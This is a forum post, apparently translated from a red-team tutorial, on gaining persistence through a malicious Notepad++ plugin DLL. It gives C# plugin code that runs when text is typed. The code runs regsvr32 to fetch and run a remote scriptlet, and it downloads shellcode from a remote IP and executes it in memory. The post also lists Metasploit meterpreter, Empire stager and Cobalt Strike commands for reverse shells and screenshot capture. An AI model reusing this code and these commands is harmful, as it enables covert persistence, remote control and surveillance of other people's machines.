taibeihacker
Moderator
0x00 前言
Notepad++是一個流行的Windows 文本編輯器,它具有插件方式的擴展功能。在Windows 環境中,尤其是在開發人員和IT 人員的主機中安裝了Notepad++ 文本編輯器的情況並不少見。除了可以為紅隊人員提供重要信息的收集之外,還可以通過將從遠程命令執行加載或腳本的任意插件來用作權限維持。0x01 基本消息框示例
Notepad++插件可用於擴展Notepad++ 的功能。默認情況下,用戶可以在Notepad++ 已信任的插件列表中安裝所需插件,但也可以運行安裝自定義插件,無需任何驗證,從而為開發人員提供可擴展文本編輯器使用的靈活性。插件具有DLL 文件的形式,要安裝自定義插件,只需將DLL 放入%PROGRAMFILES%\Notepad++\plugins\pluginName\pluginName.dll.好處是加載或激活插件不需要用戶交互。缺點是需要本地管理員權限才能寫入目錄。

可以在https://github.com/kbilsted/Notepad...ter/Visual Studio Project Template C#/Main.cs
中使用.NET 模板的OnNotification下進行修改代碼

或者:class Main{ static bool firstRun=true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun) { using var process=Process.GetCurrentProcess(); MessageBox.Show($'Hello from {process.ProcessName} ({process.Id}).'); firstRun=!firstRun; } }

dir 'C:\Program Files\Notepad++\plugins\pentestlab'


0x02 MSF反弹示例
也可以執行無文件的有效載荷從而建立通信通道。這裡可以利用windowsregsvr32二進製文件從遠程位置加載執行腳本。 Metasploit 框架通過web 交付模塊支持該利用方式。use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.3
set LPORT 4444
run可以稍微修改使用所需的參數來執行regsvr32的命令
classMain{ staticboolfirstRun=true;publicstaticvoidOnNotification(ScNotification notification){if(notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun){stringstrCmdText;strCmdText='/s /n /u /i:http://10.0.0.3:8080/nHIcvfz6N.sctscrobj.dll';Process.Start('regsvr32', strCmdText);firstRun=!firstRun;}}



sessions
sessions -i 1
pwd
getuid

0x03 Empire反弹shell示例
以類似的方式,Empire C2 可用於生成各種stager 文件。這些文件通常包含一個可以在PowerShell 進程中執行的base64 命令。以下用stager 方式作為示例:usestager windows/launcher_sct

set Listener http
execute



agents

usemodule powershell/collection/screenshot
set Agent notepad
execute


0x04 cobaltstike反弹shell示例
將MessageBox 替換為shellcode通過cobasltsike加載,代碼如下:if (notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun)
{
using var client=new WebClient();
var buf=client.DownloadData('http://172.19.215.47/shellcode');
var hMemory=VirtualAlloc(
IntPtr.Zero,
(uint)buf.Length,
AllocationType.Reserve | AllocationType.Commit,
MemoryProtection.ReadWrite);
Marshal.Copy(buf, 0, hMemory, buf.Length);
_=VirtualProtect(
hMemory,
(uint)buf.Length,
MemoryProtection.ExecuteRead,
out _);
_=CreateThread(
IntPtr.Zero,
0,
hMemory,
IntPtr.Zero,
0,
out _);
firstRun=!firstRun;
}
